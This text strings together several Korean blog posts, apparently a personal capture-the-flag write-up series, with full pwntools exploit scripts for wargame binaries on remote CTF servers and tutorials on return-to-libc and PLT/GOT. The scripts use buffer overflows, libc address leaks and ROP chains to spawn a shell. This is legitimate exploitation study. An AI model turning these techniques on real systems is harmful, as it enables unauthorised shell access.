rop32에서 함수의 주소값을 넣어줘야지 되는것과, write함수를 사용해야 하는것이 달라졌습니다.

from pwn import *

context.log_level = 'debug'

e = ELF('./ropasaurusrex')
r = remote('sunrin.site', 9005)
libc = ELF('./libc.so.6')

pppret = 0x080484b6

payload = 'A' * (0x88 + 4)
payload += p32(e.plt['write'])
payload += p32(pppret)
payload += p32(1)
payload += p32(e.got['write'])
payload += p32(0x4)
payload += p32(0x804841d)

r.sendline(payload)

_write = u32(r.recvuntil('\xf7'))
_base = _write - libc.sym['write']
_system = _base + libc.sym['system']
_binsh = e.bss() + 0x10

payload = 'A' * (0x88 + 4)
payload += p32(e.plt['read'])
payload += p32(pppret)
payload += p32(0)
payload += p32(_binsh)
payload += p32(0x20)
payload += p32(0x804841d)

r.sendline(payload)

r.sendline('/bin/sh\x00')

payload = 'A' * (0x88 + 4)
payload += p32(_system)
payload += 'A' * 4
payload += p32(_binsh)

r.sendline(payload)

r.interactive()
728x90

'해킹 > writeup' 카테고리의 다른 글

20. sung.pw - BaskinRobins31  (0) 2021.08.01
19. sung.pw - rop64_v2  (0) 2021.08.01
17. sung.pw - rop32_v2  (0) 2021.08.01
16. sung.pw - rop32  (0) 2021.08.01
15. Dreamhack - basic_rop_x64  (0) 2021.08.01

rop32 문제에서 버퍼 크기와 함수만 달라졌습니다.

from pwn import *

context.log_level = 'debug'

e = ELF('./rop32_v2')
p = remote("sunrin.site", 9004)
libc = ELF('./libc.so.6')

pret = 0x080486bb
pppret = 0x080486b9

payload = 'A' * (0x24 + 4)
payload += p32(e.plt['puts'])
payload += p32(pret)
payload += p32(e.got['puts'])
payload += p32(e.sym['vuln'])

p.sendlineafter(": \n", payload)

puts = u32(p.recvuntil('\xf7'))

base = puts - libc.sym['puts']
system = base + libc.sym['system']
binsh = e.bss() + 0x10

payload = 'A' * (0x24 + 4)
payload += p32(e.plt['read'])
payload += p32(pppret)
payload += p32(0)
payload += p32(binsh)
payload += p32(0x20)
payload += p32(e.sym['vuln'])

p.sendline(payload)

p.sendline('/bin/sh\x00')

payload = 'A' * (0x24 + 4)
payload += p32(system)
payload += 'A' * 4
payload += p32(binsh)

p.sendline(payload)

p.interactive()
728x90

'해킹 > writeup' 카테고리의 다른 글

19. sung.pw - rop64_v2  (0) 2021.08.01
18. sung.pw - ropasaurusrex  (0) 2021.08.01
16. sung.pw - rop32  (0) 2021.08.01
15. Dreamhack - basic_rop_x64  (0) 2021.08.01
14. Dreamhack - basic_rop_x86  (0) 2021.08.01

이전에 했던 문제들과 크게 다를게 없기 때문에 쉽게 풀 수 있습니다.

printf 함수를 이용하여 printf 함수의 실제 주소를 출력시키고, vuln 함수를 다시 실행합니다.

payload = 'A' * (0x3A + 4)
payload += p32(e.plt['printf'])
payload += p32(popret)
payload += p32(e.got['printf'])
payload += p32(e.sym['vuln'])

p.sendlineafter(": ", payload)

printf 함수의 실제 주소를 받고, libc base 를 구합니다.

printf = u32(p.recvuntil('\xf7'))

base = printf - libc.symbols['printf']
system = base + libc.symbols['system']

/bin/sh를 bss에 넣습니다.

binsh = e.bss() + 0x10

payload = 'A' * (0x3A + 4)
payload += p32(e.plt['read'])
payload += p32(pppret)
payload += p32(0)
payload += p32(binsh)
payload += p32(0x20)
payload += p32(e.sym['vuln'])

p.sendline(payload)

p.sendline('/bin/sh\x00')

system("/bin/sh")를 실행합니다.

payload = 'A' * (0x3a + 4)
payload += p32(system)
payload += 'A' * 4
payload += p32(binsh)

p.sendline(payload)

전체 코드

from pwn import *

context.log_level = 'debug'

#e = ELF('./leak_libc')
#p = process('./leak_libc')

e = ELF('./rop32')
p = remote("sunrin.site", 9003)
libc = ELF('./libc.so.6')

pdecimal = libc.search("%d\x00").next()

popret = 0x08048331
poppopret = 0x0804855a
pppret = 0x08048559

payload = 'A' * (0x3A + 4)
payload += p32(e.plt['printf'])
payload += p32(popret)
payload += p32(e.got['printf'])
payload += p32(e.sym['vuln'])

p.sendlineafter(": ", payload)

printf = u32(p.recvuntil('\xf7'))

base = printf - libc.symbols['printf']
system = base + libc.symbols['system']
binsh = e.bss() + 0x10

payload = 'A' * (0x3A + 4)
payload += p32(e.plt['read'])
payload += p32(pppret)
payload += p32(0)
payload += p32(binsh)
payload += p32(0x20)
payload += p32(e.sym['vuln'])

p.sendline(payload)

p.sendline('/bin/sh\x00')

payload = 'A' * (0x3a + 4)
payload += p32(system)
payload += 'A' * 4
payload += p32(binsh)

p.sendline(payload)

p.interactive()
728x90

'해킹 > writeup' 카테고리의 다른 글

18. sung.pw - ropasaurusrex  (0) 2021.08.01
17. sung.pw - rop32_v2  (0) 2021.08.01
15. Dreamhack - basic_rop_x64  (0) 2021.08.01
14. Dreamhack - basic_rop_x86  (0) 2021.08.01
13. HackCTF - RTL_Core  (0) 2021.07.19

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'

e = ELF("./libc.so.6")
r = remote('ctf.j0n9hyun.xyz', 3015)
#r = process("./rtlcore")

#gdb.attach(r)

hashcode = 0x0C0D9B0A7

value = hashcode // 5
remain = hashcode % 5

print(value, 0x2691f021)
payload = p32(value) * 4 + p32(value + remain)

r.sendlineafter(': ', payload)
r.recvuntil("바로 ")
_printf = int(r.recv(10), 16)
_base = _printf - e.symbols['printf']
_system = _base + e.symbols['system']
_binsh = _base + e.search("/bin/sh").next()

print(_base)
print(_base - _system)
print(_base - _binsh)

payload = 'A' * (0x3E + 4)
payload += p32(_system)
payload += 'A' * 4
payload += p32(_binsh)

r.sendline(payload)

r.interactive()

코드 보고 이부분 코드 만들어서 인증하고,

인증해서 받은 값을 확인해보니

printf 함수라서 libc의 base주소를 구하고,

거기에 system 주소를 구하고, /bin/sh의 주소를 구해

payload를 만들었습니다.

728x90

'해킹 > writeup' 카테고리의 다른 글

15. Dreamhack - basic_rop_x64  (0) 2021.08.01
14. Dreamhack - basic_rop_x86  (0) 2021.08.01
11. RTL  (0) 2021.07.19
10. PLT & GOT  (0) 2021.07.19
12. HackCTF - RTL_World  (0) 2021.07.18

RTL(Return To Library)

NX 비트가 켜져있어서 쉘코드 실행이 불가능한 경우,

RTL을 사용하여 라이브러리에 있는 함수를 실행하여 우회한다.

 

실제로 RTL로 쉘을 실행해보며 어떻게 작동하는지 알아보자.

32BIT

프로그램을 실행해주고, print system 으로 system 함수의 주소를 가져오겠습니다.

그리고 인자로 넣을 /bin/sh 를 찾아서 주소를 가져오겠습니다.

shift + F12를 쓰면 문자열들이 보입니다.

/bin/sh를 더블클릭하여 들어가면

앞에 주소가 써있으니 복사해 주겠습니다.

from pwn import *

r = process('./rtl32_1')

gdb.attach(r) #debugger attach

_system = 0xf7dfce40 #system function address
_binsh = 0x0804a028 #/bin/sh string address

그리고 IDA를 이용하여 ebp부터 변수까지 떨어진 거리를 확인한 후에 덮어써줍니다.

payload = "A" * 0x48 #overwrite

그러면 이 다음에 쓰는 부분은 SFP가 될 것입니다. RET 위치에 있는 주소를 실행하기 때문에, SFP를 덮어쓰겠습니다.

payload += "A" * 4 #SFP

그리고 이 다음에 실행할 함수를 넣어야 하는데 그 함수는 위에서 찾은 system의 주소를 넣어주겠습니다.

payload += p32(_system)

그 다음에는 system 함수가 끝나고 실행될 주소를 넣는다.

payload += "A" * 4

그리고 32bit에선 스택에 인자를 넣기 때문에, shell을 실행하기 위해 /bin/sh 를 인자로 넣어준다.

payload += p32(_binsh)

그리고 만들어진 페이로드를 전송하고, 대화형으로 변경한다.

r.sendline(payload) #send payload
r.interactive() #interactive

이걸 gdb로 봐보면

페이로드가 잘 들어갔고 지금은 SFP 부분이다.

pop ebp로 스택에 맨 위에 있는(여기선 SFP)를 ebp에 넣는다.

그리고 다음 명령어는 ret 이고, 스택의 최상단의 함수를 실행한다. (돌아간다는 표현이 더 적절한것 같다.)

그 다음은 함수 안에서 알아서 스택의 첫번째는 함수를 호출하고, 두번째부턴 인자로 들어간다.

64BIT

system함수 주소와 /bin/sh 찾는 과정은 같으니 스킵하고, x64에서는 함수 인자로 레지스터를 사용하니, 레지스터에 원하는 값을 넣는 가젯을 써야 합니다. 여기선 pop rdi; ret; 가젯을 써보겠습니다.

ROPgadget --binary 파일

을 이용하여 가젯 목록을 가져오고 grep을 통해서 원하는 문자열을 찾습니다.

 

그리고 코드를 위와 같이 기본적인건 작성합니다.

from pwn import *

e = ELF('./rtl64_1')
r = process('./rtl64_1')

_system = e.plt['system']
_binsh = 0x0000000000400794
_poprdi = 0x0000000000400773

64비트니 일단 인자 설정을 해 줍니다.

인자가 하나니 pop rdi; ret; 만 사용하면 되고, 스택의 최상단에서 가져오고, 이번엔 인자를 스택에 넣지 않으니, RET가 실행될 때 스택 최상단에서 주소를 가져와서 돌아가니 인자 다음에 넣어주면 된다.

pop rdi; ret;

"/bin/sh";

system

payload = 'A' * 0x30 #overwrite
payload += 'A' * 8 #SFP
payload += p64(_poprdi)
payload += p64(_binsh)
payload += p64(_system)
from pwn import *

e = ELF('./rtl64_1')
r = process('./rtl64_1')

_system = e.plt['system']
_binsh = 0x0000000000400794
_poprdi = 0x0000000000400773

payload = 'A' * 0x30 #overwrite
payload += 'A' * 8 #SFP
payload += p64(_poprdi)
payload += p64(_binsh)
payload += p64(_system)

r.sendline(payload)

r.interactive()

그리고 디버거에서 어떻게 실행되는지 봐보면

ret 에서 pop rdi 가젯으로 가고

스택의 최상단을 뽑아 rdi에 넣고

system 함수를 실행한다.

728x90

'해킹 > writeup' 카테고리의 다른 글

14. Dreamhack - basic_rop_x86  (0) 2021.08.01
13. HackCTF - RTL_Core  (0) 2021.07.19
10. PLT & GOT  (0) 2021.07.19
12. HackCTF - RTL_World  (0) 2021.07.18
9. HackCTF - Offset  (0) 2021.07.11

PLT(Procedure Linkage Table)

외부 프로시저를 연결해주는 테이블

GOT로 점프하는 코드가 적혀있다.

GOT(Global Offset Table)

PLT가 참조하는 테이블, 처음에는 plt+6, 이후에는 실제 라이브러리의 함수 주소가 적혀있다.

 

동적 링크를 사용하면, 여러가지 프로그램들이 메모리에 올라간 하나의 라이브러리를 다같이 사용한다.

그러므로 그 라이브러리의 함수를 호출하기 위해선 어딘가에 공유 라이브러리의 위치를 저장해둬서 필요할 때 그 주소를 이용하여 라이브러리로 가야한다.

그 동작을 하는게 plt와 got이다.

got는 처음 호출될 때에는 plt+6의 주소가 저장되어 있다. 

dl_resolve란 함수를 사용하여 함수의 실제 주소를 가져와 got에 써줍니다.

728x90

'해킹 > writeup' 카테고리의 다른 글

13. HackCTF - RTL_Core  (0) 2021.07.19
11. RTL  (0) 2021.07.19
12. HackCTF - RTL_World  (0) 2021.07.18
9. HackCTF - Offset  (0) 2021.07.11
8. HackCTF - x64 Simple_size_BOF  (0) 2021.07.11

+ Recent posts